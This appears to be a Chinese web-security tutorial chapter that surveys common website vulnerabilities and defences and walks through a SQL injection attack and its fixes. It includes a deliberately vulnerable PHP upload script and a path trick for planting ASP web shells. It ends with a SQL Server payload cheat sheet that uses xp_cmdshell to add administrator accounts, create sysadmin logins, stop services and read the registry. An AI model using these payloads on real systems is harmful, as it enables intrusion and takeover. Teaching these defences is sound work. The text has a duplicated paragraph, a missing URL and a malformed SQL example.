黑帽百科|存在于黑与白的技术研讨(二)

  • A+
所属分类:技术交流 教学
广告

第二章 网站漏洞

2.1、常见漏洞类型

一、SQL 注入漏洞
SQL 注入攻击(SQL Injection),简称注入攻击、SQL 注入,被广泛用于非法获取网站控制权,是发生
在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串中夹带的 SQL 指令的检查,被数
据库误认为是正常的 SQL 指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及
进一步导致网站被嵌入恶意代码、被植入后门程序等危害。
通常情况下,L SQL 注入的位置包括:
(1)表单提交,主要是 POST 请求,也包括 GET 请求;
(2)URL 参数提交,主要为 GET 请求参数;
(3)Cookie 参数提交;
(4)HTTP 请求头部的一些可修改的值,比如 Referer、User_Agent 等;
(5)一些边缘的输入点,比如.mp3 文件的一些文件信息等。
SQL 注入的危害不仅体现在数据库层面上,还有可能危及承载数据库的操作系统;如果 SQL 注入被用来挂
马,还可能用来传播恶意软件等,
这些危害包括但不局限于:
(1)数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。作为数据的存储中心,数据库里往往保存
着各类的隐私信息,SQL 注入攻击能导致这些隐私信息透明于攻击者。
(2)网页篡改:通过操作数据库对特定网页进行篡改。
(3)网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
(4)数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被篡改。
(5)服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操
作系统。
(6)破坏硬盘数据,瘫痪全系统。
解决 SQL 注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限
原则。

通常使用的方案有:
(1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量
嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常
有效的防止 SQL 注入攻击。
(2)对进入数据库的特殊字符('"\<>&*;等)进行转义处理,或编码转换。
(3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为 int 型。
(4)数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。
(5)网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型
被绕过。
(6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的
减少注入攻击对数据库的危害。
(7)避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些
判断。
(8)在网站发布之前建议使用一些专业的 SQL 注入检测工具进行检测,及时修补这些 SQL 注入漏洞。
二、跨站脚本漏洞
跨站脚本攻击(Cross-site scripting,通常简称为 XSS)发生在客户端,可被用于进行窃取隐私、
钓鱼欺骗、窃取密码、传播恶意代码等攻击。
XSS 攻击使用到的技术主要为 HTML 和 Javascript,也包括 VBScript 和 ActionScript 等。XSS 攻击对 WEB
服务器虽无直接危害,但是它借助网站进行传播,使网站的使用用户受到攻击,导致网站用户帐号被窃取,
从而对网站也产生了较严重的危害。
XSS 类型包括:
(1)非持久型跨站:即反射型跨站脚本漏洞,是目前最普遍的跨站类型。跨站代码一般存在于链接中,请
求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码不存储到服务端(比如数据库中)。上面
章节所举的例子就是这类情况。
(2)持久型跨站:这是危害最直接的跨站类型,跨站代码存储于服务端(比如数据库中)。常见情况是某
用户在论坛发贴,如果论坛没有过滤用户输入的 Javascript 代码数据,就会导致其他浏览此贴的用户的浏
览器会执行发贴人所嵌入的 Javascript 代码。
(3)DOM 跨站(DOM XSS):是一种发生在客户端 DOM(Document Object Model 文档对象模型)中的跨站
漏洞,很大原因是因为客户端脚本处理逻辑导致的安全问题。
S XSS 的危害包括:
(1)钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注
入钓鱼 JavaScript 以监控目标网站的表单输入,甚至发起基于 DHTML 更高级的钓鱼攻击方式。
(2)网站挂马:跨站时利用 IFrame 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上,或者弹出恶
意网站窗口等方式都可以进行挂马攻击。
(3)身份盗用:Cookie 是用户对于特定网站的身份验证标志,XSS 可以盗取到用户的 Cookie,从而利用
该 Cookie 盗取用户对该网站的操作权限。如果一个网站管理员用户 Cookie 被窃取,将会对网站引发巨大
的危害。
(4)盗取网站用户信息:当能够窃取到用户 Cookie 从而获取到用户身份使,攻击者可以获取到用户对网
站的操作权限,从而查看用户隐私信息。
(5)垃圾信息发送:比如在 SNS 社区中,利用 XSS 漏洞借用被攻击者的身份发送大量的垃圾信息给特定的
目标群。
(6)劫持用户 Web 行为:一些高级的 XSS 攻击甚至可以劫持用户的 Web 行为,监视用户的浏览历史,发送
与接收的数据等等。
(7)XSS 蠕虫:XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施 DDoS 攻击等。
常用的防止 S XSS 技术包括:
(1)与 SQL 注入防护的建议一样,假定所有输入都是可疑的,必须对所有输入中的 script、iframe 等字
样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括 HTTP 请求中的 Cookie 中
的变量,HTTP 请求头部中的变量等。
(2)不仅要验证数据的类型,还要验证其格式、长度、范围和内容。
(3)不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
(4)对输出的数据也要检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码
等操作,在各处的输出点时也要进行安全检查。
(5)在发布应用程序之前测试所有已知的威胁。
三、弱口令漏洞
弱口令(weak password) 没有严格和准确的定义,通常认为容易被别人(他们有可能对你很了解)猜
测到或被破解工具破解的口令均为弱口令。设置密码通常遵循以下原则:
(1)不使用空口令或系统缺省的口令,这些口令众所周之,为典型的弱口令。
(2)口令长度不小于 8 个字符。
(3)口令不应该为连续的某个字符(例如:AAAAAAAA)或重复某些字符的组合(例如:tzf.tzf.)。
(4)口令应该为以下四类字符的组合,大写字母(A-Z)、小写字母(a-z)、数字(0-9)和特殊字符。每类字
符至少包含一个。如果某类字符只包含一个,那么该字符不应为首字符或尾字符。
(5)口令中不应包含本人、父母、子女和配偶的姓名和出生日期、纪念日期、登录名、E-mail 地址等等
与本人有关的信息,以及字典中的单词。
(6)口令不应该为用数字或符号代替某些字母的单词。
(7)口令应该易记且可以快速输入,防止他人从你身后很容易看到你的输入。
(8)至少 90 天内更换一次口令,防止未被发现的入侵者继续使用该口令。
四、HTTP 报头追踪漏洞
HTTP/1.1(RFC2616)规范定义了 HTTP TRACE 方法,主要是用于客户端通过向 Web 服务器提交 TRACE
请求来进行测试或获得诊断信息。当 Web 服务器启用 TRACE 时,提交的请求头会在服务器响应的内容(Body)
中完整的返回,其中 HTTP 头很可能包括 Session Token、Cookies 或其它认证信息。攻击者可以利用此漏
洞来欺骗合法用户并得到他们的私人信息。该漏洞往往与其它方式配合来进行有效攻击,由于 HTTP TRACE
请求可以通过客户浏览器脚本发起(如 XMLHttpRequest),并可以通过 DOM 接口来访问,因此很容易被攻
击者利用。
防御 HTTP 报头追踪漏洞的方法通常禁用 HTTP TRACE 方法。
五、Struts2 远程命令执行漏洞
Apache Struts 是一款建立 Java web 应用程序的开放源代码架构。Apache Struts 存在一个输入过滤错误,
如果遇到转换错误可被利用注入和执行任意 Java 代码。
网站存在远程代码执行漏洞的大部分原因是由于网站采用了 Apache Struts Xwork 作为网站应用框架,由
于该软件存在远程代码执高危漏洞,导致网站面临安全风险。CNVD 处置过诸多此类漏洞,例如:“GPS 车载
卫星定位系统”网站存在远程命令执行漏洞(CNVD-2012-13934);Aspcms 留言本远程代码执行漏洞
(CNVD-2012-11590)等。
修复此类漏洞,只需到 Apache 官网升级 Apache Struts 到最新版本:http://struts.apache.org
六、框架钓鱼漏洞(框架注入漏洞)
框架注入攻击是针对 Internet Explorer 5、Internet Explorer 6、与 Internet Explorer 7 攻击的一种。
这种攻击导致 Internet Explorer 不检查结果框架的目的网站,因而允许任意代码像 Javascript 或者
VBScript 跨框架存取。这种攻击也发生在代码透过多框架注入,肇因于脚本并不确认来自多框架的输入。
这种其他形式的框架注入会影响所有的不确认不受信任输入的各厂商浏览器和脚本。
如果应用程序不要求不同的框架互相通信,就可以通过完全删除框架名称、使用匿名框架防止框架注入。
但是,因为应用程序通常都要求框架之间相互通信,因此这种方法并不可行。 因此,通常使用命名框架,
但在每个会话中使用不同的框架,并且使用无法预测的名称。一种可行的方法是在每个基本的框架名称后
附加用户的会话令牌,如 main_display。
七、文件上传漏洞
文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的,如果文件上传功能实现
代码没有严格限制用户上传的文件后缀以及文件类型,攻击者可通过 Web 访问的目录上传任意文件,包括
网站后门文件(webshell),进而远程控制网站服务器。
因此,在开发网站及应用程序过程中,需严格限制和校验上传的文件,禁止上传恶意代码的文件。同时限
制相关目录的执行权限,防范 webshell 攻击。
八、应用程序测试脚本泄露
由于测试脚本对提交的参数数据缺少充分过滤,远程攻击者可以利用洞以 WEB 进程权限在系统上查看
任意文件内容。防御此类漏洞通常需严格过滤提交的数据,有效检测攻击。
九、私有 IP 地址泄露漏洞
IP 地址是网络用户的重要标示,是攻击者进行攻击前需要了解的。获取的方法较多,攻击者也会因不
同的网络情况采取不同的方法,如:在局域网内使用 Ping 指令,Ping 对方在网络中的名称而获得 IP;在
Internet 上使用 IP 版的 QQ 直接显示。最有效的办法是截获并分析对方的网络数据包。攻击者可以找到并
直接通过软件解析截获后的数据包的 IP 包头信息,再根据这些信息了解具体的 IP。
针对最有效的“数据包分析方法”而言,就可以安装能够自动去掉发送数据包包头 IP 信息的一些软件。
不过使用这些软件有些缺点,譬如:耗费资源严重,降低计算机性能;访问一些论坛或者网站时会受影响;
不适合网吧用户使用等等。现在的个人用户采用最普及隐藏 IP 的方法应该是使用代理,由于使用代理服务
器后,“转址服务”会对发送出去的数据包有所修改,致使“数据包分析”的方法失效。一些容易泄漏用户
IP 的网络软件(QQ、MSN、IE 等)都支持使用代理方式连接 Internet,特别是 QQ 使用“ezProxy”等代理软
件连接后,IP 版的 QQ 都无法显示该 IP 地址。虽然代理可以有效地隐藏用户 IP,但攻击者亦可以绕过代理,
查找到对方的真实 IP 地址,用户在何种情况下使用何种方法隐藏 IP,也要因情况而论。
十、未加密登录请求
由于 Web 配置不安全,登陆请求把诸如用户名和密码等敏感字段未加密进行传输,攻击者可以窃听网络
以劫获这些敏感信息。建议进行例如 SSH 等的加密后再传输。
十一、敏感信息泄露漏洞
SQL 注入、XSS、目录遍历、弱口令等均可导致敏感信息泄露,攻击者可以通过漏洞获得敏感信息。针
对不同成因,防御方式不同。
十二、任意文件上传漏洞
文件上传漏洞(File Upload Attack)是由于文件上传功能实现代码没有严格限制用户上传的文件后缀
以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意 PHP 文件,并能够将这些文件传递
给 PHP 解释器,就可以在远程服务器上执行任意 PHP 脚本。
一套 web 应用程序,一般都会提供文件上传的功能,方便来访者上传一些文件。
下面是一个简单的文件上传表单。

<form action="upload.php" method="post" enctype="multipart/form-data" name="form1">
<input type="file" name="file1" /><br />
<input type="submit" value="上传文件" />
<input type="hidden" name="MAX_FILE_SIZE" value="1024" />
</form>

php 的配置文件 php.ini,其中选项 upload_max_filesize 指定允许上传的文件大小,默认是 2M
$_FILES 数组变量
PHP 使用变量$_FILES 来上传文件,$_FILES 是一个数组。
如果上传 test.txt,那么$_FILES 数组的内容为:

$FILES
Array
{

=> Array
{
[name] => test.txt //文件名称
[type] => text/plain //MIME 类型
[tmp_name] => /tmp/php5D.tmp //临时文件
[error] => 0 //错误信息
[size] => 536 //文件大小,单位字节
}
}

如果上传文件按钮的 name 属性值为 file

<input type="file" name="file" />

那 么 使 用 $_FILES['file']['name'] 来 获 得 客 户 端 上 传 文 件 名 称 , 不 包 含 路 径 。 使 用
$_FILES['file']['tmp_name']来获得服务端保存上传文件的临时文件路径
存放上传文件的文件夹
PHP 不 会 直 接 将 上 传 文 件 放 到 网 站 根 目 录 中 , 而 是 保 存 为 一 个 临 时 文 件 , 名 称 就 是
$_FILES['file']['tmp_name']的值,开发者必须把这个临时文件复制到存放的网站文件夹中。
$_FILES['file']['tmp_name']的值是由 PHP 设置的,与文件原始名称不一样,开发者必须使用
$_FILES['file']['name']来取得上传文件的原始名称。
上传文件时的错误信息 $_FILES['file']['error']变量用来保存上传文件时的错误信息,它的值如
下:

黑帽百科|存在于黑与白的技术研讨(二)

文件上传漏洞
如果提供给网站访问者上传图片的功能,那必须小心访问者上传的实际可能不是图片,而是可以指定
的 PHP 程序。如果存放图片的目录是一个开放的文件夹,则入侵者就可以远程执行上传的 PHP 文件来进行
攻击。
下面是一个简单的文件上传例子:

<?php
// 设置上传文件的目录
$uploaddir = "D:/www/images/";
// 检查 file 是否存在
if (isset($_FILES['file1']))
{
// 要放在网站目录中的完整路径,包含文件名
$uploadfile = $uploaddir . $_FILES['file1']['name'];
// 将服务器存放的路径,移动到真实文件名 move_uploaded_file($_FILES['file1']['tmp_name'], $uplo
adfile);
}
?>
……
<form method="post" enctype="multipart/form-data" name="form1">
<input type="file" name="file1" /><br />
<input type="submit" value="上传文件" />
<input type="hidden" name="MAX_FILE_SIZE" value="1024" />
</form>

这个例子没有检验文件后缀,可以上传任意文件,很明显的上传漏洞。
利用此漏洞黑客克制自由上床任意的木马文件而导致网站失陷。

漏洞防护措施
解决上面所述问题的一种方法是通过检查上传文件的类型来限制用户的文件上传,如以下代码所示。

<?php
if(isset($_POST["form"]))
{
if($_FILES['upfile']['type'] == 'image/pjpeg') //检查文件类型是否为 JPEG
{
$uploadfile = "upfiles/".$_FILES['upfile']['name'];
//上传后文件所在的文件名和路径
move_uploaded_file($_FILES['upfile']['tmp_name'], $uploadfile);
//上传文件
print_r($_FILES);
die();
}
else
{
die("上传文件的格式不正确!");
}
}
?>

上面的代码要求用户上传的文件必须是 JPEG 类型的图片文件,彻底地避免了终端用户通过上传 PHP 脚
本危害服务器的行为。
文件上传路径变量过滤不严
在许多论坛的用户发帖页面中存在这样的上传 Form,如图 7-27 所示,其网页编程代码为:

<form action="user_upfile.asp" ...>
<input type="hidden" name="filepath" value="UploadFile">
<input type="file" name="file">
<input type="submit" name="Submit" value="上传" class="login_btn">
</form>

在其中“filepath”是文件上传路径,由于网页编写者未对该变量进行任何过滤,因此用户可以任意
修改该变量值。在网页编程语言中有一个特殊的截止符"?",该符号的作用是通知网页服务器中止后面的数
据接收。利用该截止符可们可以重新构造 filepath,例如正常的上传路径是:

“**/bbs/uploadface/200409240824.jpg”,

但是当我们使用“?”构造 filepath 为

“**/newmm.asp?/200409240824.jpg ”

这样当服务器接收filepath数据时,检测到newmm.asp后面的?后理解为filepath的数据就止结束了,
这样我们上传的文件就被保存成了:“**/newmm.asp”。
利用这个上传漏洞就可以任意上传如.ASP 的网页木马,然后连接上传的网页即可控制该网站系统。
提示:可能有读者会想,如果网页服务器在检测验证上传文件的格式时,碰到“/0”就截止,那么不
就出现文件上传类型不符的错误了吗?其实在检测验证上传文件的格式时,系统是从 filepath 的右边向左
边读取数据的,因此它首先检测到的是“.jpg”,当然就不会报错了。
最安全的防范办法就是删除上传页面。

2.1.1、SQL 注入原理

参考:http://www.cnblogs.com/rush/archive/2011/12/31/2309203.html

SQL Injection:就是通过把 SQL 命令插入到 Web 表单递交或输入域名或页面请求的查询字符串,最终
达到欺骗服务器执行恶意的 SQL 命令。
具体来说,它是利用现有应用程序,将(恶意)的 SQL 命令注入到后台数据库引擎执行的能力,它可
以通过在 Web 表单中输入(恶意)SQL 语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者
意图去执行 SQL 语句。
首先让我们了解什么时候可能发生 SQL Injection。
假设我们在浏览器中输入 URL www.sample.com,由于它只是对页面的简单请求无需对数据库动进行动态请
求,所以它不存在 SQL Injection,当我们输入 www.sample.com?testid=23 时,我们在 URL 中传递变量
testid,并且提供值为 23,由于它是对数据库进行动态查询的请求(其中?testid=23 表示数据库查询变
量),所以我们可以该 URL 中嵌入恶意 SQL 语句。
现在我们知道 SQL Injection 适用场合,接下来我们将通过具体的例子来说明 SQL Injection 的应用,这
里我们以 pubs 数据库作为例子。
我们通过 Web 页面查询 job 表中的招聘信息,job 表的设计如下:

黑帽百科|存在于黑与白的技术研讨(二)

接着让我们实现 Web 程序,它根据工作 Id(job_id)来查询相应的招聘信息,示意代码如下:

/// <summary>
/// Handles the Load event of the Page control.
/// </summary>
/// <param name="sender">The source of the event.</param>
/// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</par
am>
protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
// Gets departmentId from http request.
string queryString = Request.QueryString["departmentID"];
if (!string.IsNullOrEmpty(queryString))
{
// Gets data from database.
gdvData.DataSource = GetData(queryString.Trim());
// Binds data to gridview.
gdvData.DataBind();
}
}
}

现在我们已经完成了 Web 程序,接下来让我们查询相应招聘信息吧。

黑帽百科|存在于黑与白的技术研讨(二)

如图所示,我们要查询数据库中工作 Id 值为 1 的工作信息,而且在页面显示了该工作的 Id,Description,
Min Lvl 和 Max Lvl 等信息。
现在要求我们实现根据工作 Id 查询相应工作信息的功能,想必大家很快可以给出解决方案,SQL 示意代
如下:

SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobs
WHERE (job_id = 1)

假设现在要求我们获取 Department 表中的所有数据,而且必须保留 WHERE 语句,那我们只要确保 WHERE 恒
真就 OK 了,SQL 示意代码如下:

SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobs
WHERE (job_id = 1) OR 1 = 1

上面我们使得 WHERE 恒真,所以该查询中 WHERE 已经不起作用了,其查询结果等同于以下 SQL 语句。

SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobs

SQL 查询代码实现如下:

string sql1 = string.Format("SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs WHERE job_id='
{0}'", jobId);

现在我们要通过页面请求的方式,让数据库执行我们的 SQL 语句,我们要在 URL 中嵌入恶意表达式 1=1(或
2=2 等等),如下 URL 所示:

http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or'1'='1

等效 SQL 语句如下:

SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobs
WHERE job_id = '1' OR '1' = 1'

黑帽百科|存在于黑与白的技术研讨(二)

现在我们把 job 表中的所有数据都查询出来了,仅仅通过一个简单的恒真表达式就可以进行了一次简单的
攻击。
虽然我们把 job 表的数据都查询出来了,但数据并没有太大的价值,由于我们把该表临时命名为 job 表,
所以接着我们要找出该表真正表名。
首先我们假设表名就是 job,然后输入以下 URL:

 http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or 1=(select count(*) from job)--

等效 SQL 语句如下:

SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobs
WHERE job_id='1'or 1=(select count(*) from job) --'

黑帽百科|存在于黑与白的技术研讨(二)

当我们输入了以上 URL 后,结果服务器返回我们错误信息,这证明了我们的假设是错误的,那我们该感觉
到挫败吗?不,其实这里返回了很多信息,首先它证明了该表名不是 job,而且它还告诉我们后台数据库
是 SQL Server,不是 MySQL 或 Oracle,这也设计一个漏洞把错误信息直接返回给了用户。
接下假定表名是 jobs,然后输入以下 URL:

当我们输入了以上 URL 后,结果服务器返回我们错误信息,这证明了我们的假设是错误的,那我们该感觉
到挫败吗?不,其实这里返回了很多信息,首先它证明了该表名不是 job,而且它还告诉我们后台数据库
是 SQL Server,不是 MySQL 或 Oracle,这也设计一个漏洞把错误信息直接返回给了用户。
接下假定表名是 jobs,然后输入以下 URL:

等效 SQL 语句如下:

SELECT job_id, job_desc, min_lvl, max_lvl
FROM jobs
WHERE job_id='1'or 1=(select count(*) from jobs) --'

黑帽百科|存在于黑与白的技术研讨(二)

现在证明了该表名是 jobs,这可以迈向成功的一大步,由于我们知道了表名就可以对该表进行增删改操作
了,而且我们还可以猜测出更多的表对它们作出修改,一旦修改成功那么这将是一场灾难。
现在大家已经对 SQL Injection 的攻击有了初步的了解了,接下让我们学习如何防止 SQL Injection。
总的来说有以下几点:
1.永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等。
2.永远不要使用动态拼装 SQL,可以使用参数化的 SQL 或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息明文存放,请加密或者 hash 掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异
常信息存放在独立的表中。
通过正则表达校验用户输入
首先我们可以通过正则表达式校验用户输入数据中是包含:对单引号和双"-"进行转换等字符。
然后继续校验输入数据中是否包含 SQL 语句的保留字,如:WHERE,EXEC,DROP 等。
现在让我们编写正则表达式来校验用户的输入吧,正则表达式定义如下:

private static readonly Regex RegSystemThreats =new Regex(@"\s?or\s*|\s?;\s?|\s?drop\s|\s?gran
t\s|^'|\s?--|\s?union\s|\s?delete\s|\s?truncate\s|" +@"\s?sysobjects\s?|\s?xp_.*?|\s?syslogins
\s?|\s?sysremote\s?|\s?sysusers\s?|\s?sysxlogins\s?|\s?sysdatabases\s?|\s?aspnet_.*?|\s?exec\
s?",RegexOptions.Compiled | RegexOptions.IgnoreCase);

上面我们定义了一个正则表达式对象 RegSystemThreats,并且给它传递了校验用户输入的正则表达式。
由于我们已经完成了对用户输入校验的正则表达式了,接下来就是通过该正则表达式来校验用户输入是否
合法了,由于.NET 已经帮我们实现了判断字符串是否匹配正则表达式的方法——IsMatch(),所以我们这
里只需给传递要匹配的字符串就 OK 了。
示意代码如下:

/// <summary>
/// A helper method to attempt to discover [known] SqlInjection attacks.
/// </summary>
/// <param name="whereClause">string of the whereClause to check</param>
/// <returns>true if found, false if not found </returns>
public static bool DetectSqlInjection(string whereClause)
{
return RegSystemThreats.IsMatch(whereClause);
}
/// <summary>
/// A helper method to attempt to discover [known] SqlInjection attacks.
/// </summary>
/// <param name="whereClause">string of the whereClause to check</param>
/// <param name="orderBy">string of the orderBy clause to check</param>
/// <returns>true if found, false if not found </returns>
public static bool DetectSqlInjection(string whereClause, string orderBy)
{
return RegSystemThreats.IsMatch(whereClause) || RegSystemThreats.IsMatch(orderBy);
}

现在我们完成了校验用的正则表达式,接下来让我们需要在页面中添加校验功能。

/// <summary>
/// Handles the Load event of the Page control.
/// </summary>
/// <param name="sender">The source of the event.</param>
/// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</par
am>
protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
// Gets departmentId from http request.
string queryString = Request.QueryString["jobId"];
if (!string.IsNullOrEmpty(queryString))
{
if (!DetectSqlInjection(queryString) && !DetectSqlInjection(queryString, queryStrin
g))
{
// Gets data from database.
gdvData.DataSource = GetData(queryString.Trim());
// Binds data to gridview.
gdvData.DataBind();
}
else
{
throw new Exception("Please enter correct field");
}
}
}
}

当我们再次执行以下 URL 时,被嵌入的恶意语句被校验出来了,从而在一定程度上防止了 SQL Injection。

http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or'1'='1

黑帽百科|存在于黑与白的技术研讨(二)

但使用正则表达式只能防范一些常见或已知 SQL Injection 方式,而且每当发现有新的攻击方式时,都要
对正则表达式进行修改,这可是吃力不讨好的工作。
通过参数化存储过程进行数据查询存取
首先我们定义一个存储过程根据 jobId 来查找 jobs 表中的数据。

-- =============================================
-- Author: JKhuang
-- Create date: 12/31/2011
-- Description: Get data from jobs table by specified jobId.
-- =============================================
ALTER PROCEDURE [dbo].[GetJobs]
-- ensure that the id type is int
@jobId INT
AS
BEGIN
-- SET NOCOUNT ON;
SELECT job_id, job_desc, min_lvl, max_lvl
FROM dbo.jobs
WHERE job_id = @jobId
GRANT EXECUTE ON GetJobs TO pubs
END

接着修改我们的 Web 程序使用参数化的存储过程进行数据查询。

using (var com = new SqlCommand("GetJobs", con))
{
// Uses store procedure.
com.CommandType = CommandType.StoredProcedure;
// Pass jobId to store procedure.
com.Parameters.Add("@jobId", SqlDbType.Int).Value = jobId;
com.Connection.Open();
gdvData.DataSource = com.ExecuteScalar();
gdvData.DataBind();
}

现在我们通过参数化存储过程进行数据库查询,这里我们把之前添加的正则表达式校验注释掉。

黑帽百科|存在于黑与白的技术研讨(二)
大家看到当我们试图在 URL 中嵌入恶意的 SQL 语句时,参数化存储过程已经帮我们校验出传递给数据库的
变量不是整形,而且使用存储过程的好处是我们还可以很方便地控制用户权限,我们可以给用户分配只读
或可读写权限。
但我们想想真的有必要每个数据库操作都定义成存储过程吗?而且那么多的存储过程也不利于日常的维
护。
参数化 SQL 语句
还是回到之前动态拼接 SQL 基础上,我们知道一旦有恶意 SQL 代码传递过来,而且被拼接到 SQL 语句中就
会被数据库执行,那么我们是否可以在拼接之前进行判断呢?——命名 SQL 参数。

string sql1 = string.Format("SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs WHERE job_id =
@jobId");
using (var con = new SqlConnection(ConfigurationManager.ConnectionStrings["SQLCONN1"].ToString
()))
using (var com = new SqlCommand(sql1, con))
{
// Pass jobId to sql statement.
com.Parameters.Add("@jobId", SqlDbType.Int).Value = jobId;
com.Connection.Open();
gdvData.DataSource = com.ExecuteReader();
gdvData.DataBind();
}

黑帽百科|存在于黑与白的技术研讨(二)

这样我们就可以避免每个数据库操作(尤其一些简单数据库操作)都编写存储过程了,而且当用户具有数
据库中 jobs 表的读权限才可以执行该 SQL 语句。
添加新架构
数据库架构是一个独立于数据库用户的非重复命名空间,您可以将架构视为对象的容器(类似于.NET 中的
命名空间)。
首先我们右击架构文件夹,然后新建架构。

黑帽百科|存在于黑与白的技术研讨(二)

黑帽百科|存在于黑与白的技术研讨(二)

上面我们完成了在 pubs 数据库中添加 HumanResource 架构,接着把 jobs 表放到 HumanResource 架构中。

黑帽百科|存在于黑与白的技术研讨(二)

黑帽百科|存在于黑与白的技术研讨(二)

当我们再次执行以下 SQL 语句时,SQL Server 提示 jobs 无效,这是究竟什么原因呢?之前还运行的好好的。

SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs

黑帽百科|存在于黑与白的技术研讨(二)

当我们输入完整的表名“架构名.对象名”(HumanResource.jobs)时,SQL 语句执行成功。
SELECT job_id, job_desc, min_lvl, max_lvl FROM HumanResource.jobs

黑帽百科|存在于黑与白的技术研讨(二)

为什么之前我们执行 SQL 语句时不用输入完整表名 dbo.jobs 也可以执行呢?
这是因为默认的架构(default schema)是 dbo,当只输入表名时,Sql Server 会自动加上当前登录用户
的默认的架构(default schema)——dbo。
由于我们使用自定义架构,这也降低了数据库表名被猜测出来的可能性。
LINQ to SQL
前面使用了存储过程和参数化查询,这两种方法都是非常常用的,而针对于.NET Framework 的 ORM 框架也
有很多,如:NHibernate,Castle 和 Entity Framework,这里我们使用比较简单 LINQ to SQL。
var dc = new pubsDataContext();
int result;
// Validates jobId is int or not.
if (int.TryParse(jobId, out result))
{
gdvData.DataSource = dc.jobs.Where(p => p.job_id == result);
gdvData.DataBind();
}
相比存储过程和参数化查询,LINQ to SQL 我们只需添加 jobs.dbml,然后使用 LINQ 对表进行查询就 OK 了。

2.1.2、SQL 注入语句

sql 注入语句大全
--是否存在 xp_cmdshell
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
--用 xp_cmdshell 执行命令
;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup name administrators /add"--
--查看权限
and (select IS_SRVROLEMEMBER('sysadmin'))=1-- //sa
and (select IS_MEMBER('db_owner'))=1-- // dbo
and (select IS_MEMBER('public'))=1-- //public
--创建个登陆 mssql 的帐号
;exec master.dbo.sp_addlogin name,pass;--
--把创建的 mssql 登陆帐号提升到 sysadmin
;exec master.dbo.sp_addsrvrolemember name,sysadmin;--
有用的扩展
--获得 MS SQL 的版本号 //mssql 版本
execute master..sp_msgetversion // dbo public
--得到硬盘文件信息 //dbo public
--参数说明:目录名,目录深度,是否显示文件 //读取磁盘目录和文件
execute master..xp_dirtree 'c:' //列出所有 c:\文件和目录,子目录
execute master..xp_dirtree 'c:',1 //只列 c:\文件夹
execute master..xp_dirtree 'c:',1,1 //列 c:\文件夹加文件
--列出服务器上所有 windows 本地组
execute master..xp_enumgroups //dbo
--得到当前 sql server 服务器的计算机名称 //获得计算机名
execute master..xp_getnetname //dbo public
--列出指定目录的所有下一级子目录
EXEC [master].[dbo].[xp_subdirs] 'c:\WINNT' //可以列目录
--列出服务器上固定驱动器,以及每个驱动器的可用空间
execute master..xp_fixeddrives //dbo public
--显示系统上可用的盘符
execute master..xp_availablemedia //dbo
--获取某文件的相关属性
execute master..xp_getfiledetails 'C:1.txt' //dbo public
--统计数据库里每个表的详细情况
exec sp_MSforeachtable 'sp_spaceused ''?''' //查询表 //dbo public
--获得每个表的记录数和容量
exec sp_MSforeachtable 'select ''?''','?', 'sp_spaceused ''?''', 'SELECT count(*) FROM ? ' //d
bo pubilc
--更新 Table1/Table2 中 note 列为 NULL 的值
sp_MSforeachtable 'Update ? Set note='''' Where note is null',null,null,null,' AND o.name in ('
'Table1'',''Table2'')
--列出服务器域名
xp_ntsec_enumdomains //机器名 //dbo public
--停止或者启动某个服务
xp_servicecontrol 'stop','schedule' //schedule 是服务得名称 //dbo
--用 pid 来停止某个执行中的程序
xp_terminate_process 123 //123 是 pid //dbo
--只列某个目录下的子目录
dbo.xp_subdirs 'C:' //dbo
--服务器安全模式信息
xp_loginconfig //dbo
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
